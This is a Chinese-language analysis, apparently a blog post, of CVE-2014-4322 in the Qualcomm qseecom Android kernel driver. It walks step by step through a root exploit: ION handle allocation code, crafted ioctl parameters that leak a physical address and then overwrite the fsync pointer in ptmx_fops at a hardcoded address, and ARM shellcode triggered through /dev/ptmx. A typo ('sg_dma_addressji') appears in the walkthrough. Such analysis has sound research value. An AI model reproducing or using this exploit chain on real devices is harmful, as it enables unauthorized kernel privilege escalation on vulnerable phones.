本文主要研究了CVE-2014-4322-qseecom内存破坏漏洞的原理与利用。

简介

QSEECOM驱动程序提供了ioctl系统调用接口,用于用户空间客户端的通讯。
QSEECOM driver的drivers/misc/qseecom.c没有验证ioctl调用中的某些偏移、长度、基值,攻击者通过构造的应用,利用此漏洞可获取提升的权限或造成拒绝服务。

分析环境与工具

Android版本:Android4.4.4_r1
内核版本:kernel_msm-android-msm-hammerhead-3.4-kitkat-mr1
手机:Nexus5

漏洞分析

接下来我将结合retme在xkungfoo2015安全会议做出的报告对该漏洞的exploit原理进行详细分析。看一下codeaurora对该漏洞的简介:

The qseecom driver provides an ioctl system call interface to user space clients for communication. When processing this communication, the __qseecom_update_cmd_buf function uses the user-supplied value cmd_buf_offset as an index to a buffer for write operations without any boundary checks, allowing a local application with access to the qseecom device node to, e.g., escalate privileges.

显然问题出在__qseecom_update_cmd_buf函数没有对用户传入的参数进行边界检查,导致了内存破坏。对该漏洞的patch时在函数入口添加了一个边界检查的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int boundary_checks_offset(struct qseecom_send_modfd_cmd_req *cmd_req,
struct qseecom_send_modfd_listener_resp *lstnr_resp,
struct qseecom_dev_handle *data, bool listener_svc,
int i) {
int ret = 0;
if ((!listener_svc) && (cmd_req->ifd_data[i].fd > 0)) {
if (cmd_req->ifd_data[i].cmd_buf_offset >
cmd_req->cmd_req_len - sizeof(uint32_t)) {
pr_err("Invalid offset 0x%x\n",
cmd_req->ifd_data[i].cmd_buf_offset);
return ++ret;
}
} else if ((listener_svc) && (lstnr_resp->ifd_data[i].fd > 0)) {
if (lstnr_resp->ifd_data[i].cmd_buf_offset >
lstnr_resp->resp_len - sizeof(uint32_t)) {
pr_err("Invalid offset 0x%x\n",
lstnr_resp->ifd_data[i].cmd_buf_offset);
return ++ret;
}
}
return ret;
}

查看__qseecom_update_cmd_buf函数源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int __qseecom_update_cmd_buf(struct
qseecom_send_modfd_cmd_req *req,...)
{
...
/* Get the handle of the shared fd */
ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd);
if (IS_ERR_OR_NULL(ihandle)) {
pr_err("Ion client can't retrieve the handle\n");
return -ENOMEM;
}
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
/* Populate the cmd data structure with the phys_addr */
sg_ptr = ion_sg_table(qseecom.ion_clnt, ihandle);
...
update = (uint32_t *) field;
if (cleanup)
*update = 0;
else
*update = (uint32_t)sg_dma_address(sg_ptr->sgl);
...
}

这里我隐藏了无关的代码,只贴出了涉及本漏洞的部分。req->cmd_req_buf为用户态传入的缓冲区基地址,req->ifd_data[i].cmd_buf_offset为相对于req_buf的偏移,sg_dma_address返回一个物理地址。值得注意的是,req->cmd_req_buf和req->ifd_data[i].cmd_buf_offset的值都是用户态传入的,并且没有任何限制。

假定sg_dma_address(sg_ptr->sgl)返回的是一个固定的物理地址,如0x3*******,我们可以构造出该漏洞的利用思路:

  1. 构造用户态参数,调用ioctl触发__qseecom_update_cmd_buf函数,将0x3*******泄露回用户态,得到确切地址;
  2. 构造用户态参数,再次调用ioctl触发__qseecom_update_cmd_buf函数,覆盖ptmx_fops结构体的fsync函数指针;
  3. 在0x3*******地址mmap一段空间,并布置相应的shellcode;
  4. 调用fsync(/dev/ptmx)触发内核调用shellcode,完成提权;

首先来看如何在用户态触发req->cmd_req_buf函数,搜索__qseecom_update_cmd_buf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int qseecom_send_modfd_cmd(struct qseecom_dev_handle *data,
void __user *argp)
{
int ret = 0;
struct qseecom_send_modfd_cmd_req req;
struct qseecom_send_cmd_req send_cmd_req;
ret = copy_from_user(&req, argp, sizeof(req));
if (ret) {
pr_err("copy_from_user failed\n");
return ret;
}
send_cmd_req.cmd_req_buf = req.cmd_req_buf;
send_cmd_req.cmd_req_len = req.cmd_req_len;
send_cmd_req.resp_buf = req.resp_buf;
send_cmd_req.resp_len = req.resp_len;
ret = __qseecom_update_cmd_buf(&req, false);
if (ret)
return ret;
ret = __qseecom_send_cmd(data, &send_cmd_req);
if (ret)
return ret;
ret = __qseecom_update_cmd_buf(&req, true);
if (ret)
return ret;
pr_debug("sending cmd_req->rsp size: %u, ptr: 0x%p\n",
req.resp_len, req.resp_buf);
return ret;
}

继续找qseecom_send_modfd_cmd的上层调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static long qseecom_ioctl(struct file *file, unsigned cmd,
unsigned long arg)
{
...
case QSEECOM_IOCTL_SEND_MODFD_CMD_REQ: {
/* Only one client allowed here at a time */
mutex_lock(&app_access_lock);
atomic_inc(&data->ioctl_count);
ret = qseecom_send_modfd_cmd(data, argp);
atomic_dec(&data->ioctl_count);
wake_up_all(&data->abort_wq);
mutex_unlock(&app_access_lock);
if (ret)
pr_err("failed qseecom_send_cmd: %d\n", ret);
break;
}
...

到这里就可以知道,命令码为QSEECOM_IOCTL_SEND_MODFD_CMD_REQ的ioctl函数调用,就可以触发qseecom驱动层__qseecom_update_cmd_buf函数。
让我们考虑如何构造用户态参数的问题,先贴出要用到的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
* struct qseecom_ion_fd_info - ion fd handle data information
* @fd - ion handle to some memory allocated in user space
* @cmd_buf_offset - command buffer offset
*/
struct qseecom_ion_fd_info {
int32_t fd;
uint32_t cmd_buf_offset;
};
/*
* struct qseecom_send_modfd_cmd_req - for send command ioctl request
* @cmd_req_len - command buffer length
* @cmd_req_buf - command buffer
* @resp_len - response buffer length
* @resp_buf - response buffer
* @ifd_data_fd - ion handle to memory allocated in user space
* @cmd_buf_offset - command buffer offset
*/
struct qseecom_send_modfd_cmd_req {
void *cmd_req_buf; /* in */
unsigned int cmd_req_len; /* in */
void *resp_buf; /* in/out */
unsigned int resp_len; /* in/out */
struct qseecom_ion_fd_info ifd_data[MAX_ION_FD];
};

回到__qseecom_update_cmd_buf函数:

1
2
3
4
5
6
7
8
9
10
11
static int __qseecom_update_cmd_buf(struct
qseecom_send_modfd_cmd_req *req,...)
{
...
/* Get the handle of the shared fd */
ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd);
if (IS_ERR_OR_NULL(ihandle)) {
pr_err("Ion client can't retrieve the handle\n");
return -ENOMEM;
}
...

要继续触发后面的逻辑,我们需要构造req->ifd_data[i].fd参数,以保证ihandle的值不为空。根据上面结构体qseecom_ion_fd_info的注释,需要分配一个ion内存管理器的句柄,通过网上资料的查询,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int GetIonSharedFd(int length) {
int fd;
struct ion_allocation_data allocation_data;
struct ion_fd_data fd_data;
fd = open("/dev/ion", O_RDONLY);
if (fd < 0) {
perror("open /dev/ion");
exit(-1);
}
allocation_data.len = length;
allocation_data.align = length;
allocation_data.flags = ION_HEAP_TYPE_CARVEOUT;
if (ioctl(fd, ION_IOC_ALLOC, &allocation_data) < 0) {
perror("ION_IOC_ALLOC");
exit(-1);
}
fd_data.handle = allocation_data.handle;
if (ioctl(fd, ION_IOC_SHARE, &fd_data) < 0) {
perror("ION_IOC_SHARE");
exit(-1);
}
return fd_data.fd;
}

所以ifd_data_fd构造如下:

1
2
struct qseecom_send_modfd_cmd_req send_modfd_cmd_req;
send_modfd_cmd_req.ifd_data[0].fd = GetIonSharedFd(8192);

接着往下看__qseecom_update_cmd_buf函数:

1
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;

首先需要将物理地址泄露回用户态,参数构造如下:

1
2
3
4
5
void *abuse_buff;
abuse_buff = malloc(400);
memset(abuse_buff, 0, 400);
send_modfd_cmd_req.cmd_req_buf = abuse_buff;
send_modfd_cmd_req.ifd_data[0].cmd_buf_offset = 0;

接着通过ioctl触发__qseecom_update_cmd_buf函数调用:

1
2
3
4
5
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
= (char *) abuse_buff;
update = (uint32_t *) field;
= (uint32_t *) abuse_buff;
*update = (uint32_t) sg_dma_addressji(sg_ptr->sgl); -> ((uint32_t *) abuse_buff)[0] = (uint32_t) sg_dma_addressji(sg_ptr->sgl);

即abuse_buff[0]存放了内核态泄露出的物理地址0x3*******。接下来构造参数以覆盖fsync函数指针:

1
2
#define PTMX_FOPS 0xc1235dd0 // 此处是ptmx_fops结构体的地址的硬编码
send_modfd_cmd_req.ifd_data[0].cmd_buf_offset = PTMX_FOPS + 56 - (int) abuse_buff; // PTMX_FOPS + 56 的地址即为fsync

继续通过ioctl触发__qseecom_update_cmd_buf函数调用:

1
2
3
4
5
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
= (char *) (PTMX_FOPS + 56);
update = (uint32_t *) field;
= (uint32_t *) (PTMX_FOPS + 56);
*update = (uint32_t) sg_dma_addressji(sg_ptr->sgl); -> *((uint32_t *) PTMX_FOPS + 56) = (uint32_t) sg_dma_addressji(sg_ptr->sgl);

这样fsync函数指针地址即被替换为了0x3*******,我们只需要在0x3*******地址布置shellcode即可:

1
static unsigned long shellcode[] = {0xe59f0004, 0xe92d0001, 0xe8bd8000}; // ldr r0, [pc, $4], stmfd sp!, {r0}, ldmfd sp!, {pc}

这里注意的是我们不能使用b系列的跳转指令,因为b系列指令是基于PC的相对偏移的。
最后访问/dev/ptmx,调用sync,shellcode将以内核权限执行,执行提权代码后,完成root。

后记

qseecom设备需要system权限才能访问,所以我们首先需要提权到system才能利用该漏洞,比如CVE-2014-7911。
retme大神早就提供了POC,这篇博客也是分析了retme的POC和报告才有的。我在retme的POC的基础上精简了一些代码,需要的和我联系。

参考文献

  1. https://github.com/retme7/CVE-2014-4322_poc
  2. https://github.com/android/kernel_msm/tree/android-msm-hammerhead-3.4-kitkat-mr1
  3. https://github.com/android-rooting-tools/android_run_root_shell